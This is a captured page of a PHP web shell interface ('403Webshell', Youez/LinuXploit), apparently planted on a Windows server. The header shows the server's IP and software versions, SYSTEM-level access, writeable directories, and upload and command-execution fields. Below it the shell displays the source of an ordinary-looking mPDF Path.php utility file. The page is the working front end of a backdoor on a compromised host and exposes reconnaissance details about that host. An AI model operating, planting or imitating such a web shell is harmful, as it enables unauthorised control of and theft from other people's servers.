403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/game/vendor/mpdf/mpdf/src/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/game/vendor/mpdf/mpdf/src/Utils/Path.php
<?php

namespace Mpdf\Utils;

class Path
{
	/**
	 * Convert a relative path to an absolute path
	 *
	 * @param string $relPath
	 * @param string $basePath The absolute path to prefix to the relative path (can be a path or URL)
	 * @return string
	 */
	public static function relativeToAbsolutePath($relPath, $basePath)
	{
		 // Fix Windows paths
		$relPath = str_replace("\\", '/', $relPath);

		// mPDF 5.7.2
		if (strpos($relPath, '//') === 0) {
			$scheme = parse_url($basePath, PHP_URL_SCHEME);
			$scheme = $scheme ?: 'http';
			$relPath = $scheme . ':' . $relPath;
		}

		// Inadvertently corrects "./path/etc" and "//www.domain.com/etc"
		$relPath = preg_replace('|^./|', '', $relPath);
		if (strpos($relPath, '#') === 0) {
			return $relPath;
		}

		// Skip schemes not supported by installed stream wrappers
		$wrappers = stream_get_wrappers();
		$pattern = sprintf('@^(?!%s)[a-z0-9\.\-+]+:.*@i', implode('|', $wrappers));
		if (preg_match($pattern, $relPath)) {
			return $relPath;
		}

		// It is a relative link
		if (strpos($relPath, '../') === 0) {
			$backtrackamount = substr_count($relPath, '../');
			$maxbacktrack = substr_count($basePath, '/') - 3;
			$filepath = str_replace('../', '', $relPath);
			$relPath = $basePath;

			// If it is an invalid relative link, then make it go to directory root
			if ($backtrackamount > $maxbacktrack) {
				$backtrackamount = $maxbacktrack;
			}

			// Backtrack some directories
			for ($i = 0; $i < $backtrackamount + 1; $i++) {
				$relPath = substr($relPath, 0, strrpos($relPath, "/"));
			}

			// Make it an absolute path
			$relPath .= '/' . $filepath;

			return $relPath;
		}

		// It is a local link. Ignore potential file errors
		if ((strpos($relPath, ":/") === false || strpos($relPath, ":/") > 10) &&
			!@is_file($relPath)
			) {

			if (strpos($relPath, '/') !== 0) {
				return $basePath . $relPath;
			}

			$tr = parse_url($basePath);

			// mPDF 5.7.2
			$root = '';
			if (!empty($tr['scheme'])) {
				$root .= $tr['scheme'] . '://';
			}

			$root .= !empty($tr['host']) ? $tr['host'] : '';
			$root .= !empty($tr['port']) ? ':' . $tr['port'] : ''; // mPDF 5.7.3

			$relPath = $root . $relPath;
		}

		return $relPath;
	}

	/**
	 * Normalize file path for local file system access.
	 *
	 * Converts URLs to local file paths when the base path is local.
	 * Handles DOCUMENT_ROOT and relative paths.
	 *
	 * @param string $path File path or URL
	 * @return string Normalized path
	 */
	public static function normalizeLocalFilePath($path)
	{
		$tr = parse_url($path);
		$lp = __FILE__;
		$ap = realpath($lp);
		$ap = str_replace("\\", '/', $ap);
		$docroot = substr($ap, 0, strpos($ap, $lp));

		// WriteHTML parses all paths to full URLs; may be local file name
		// DOCUMENT_ROOT is not returned on IIS
		if (!empty($tr['scheme']) && !empty($tr['host']) && !empty($_SERVER['DOCUMENT_ROOT'])) {
			return $_SERVER['DOCUMENT_ROOT'] . $tr['path'];
		}

		if ($docroot) {
			return $docroot . $tr['path'];
		}

		return $path;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit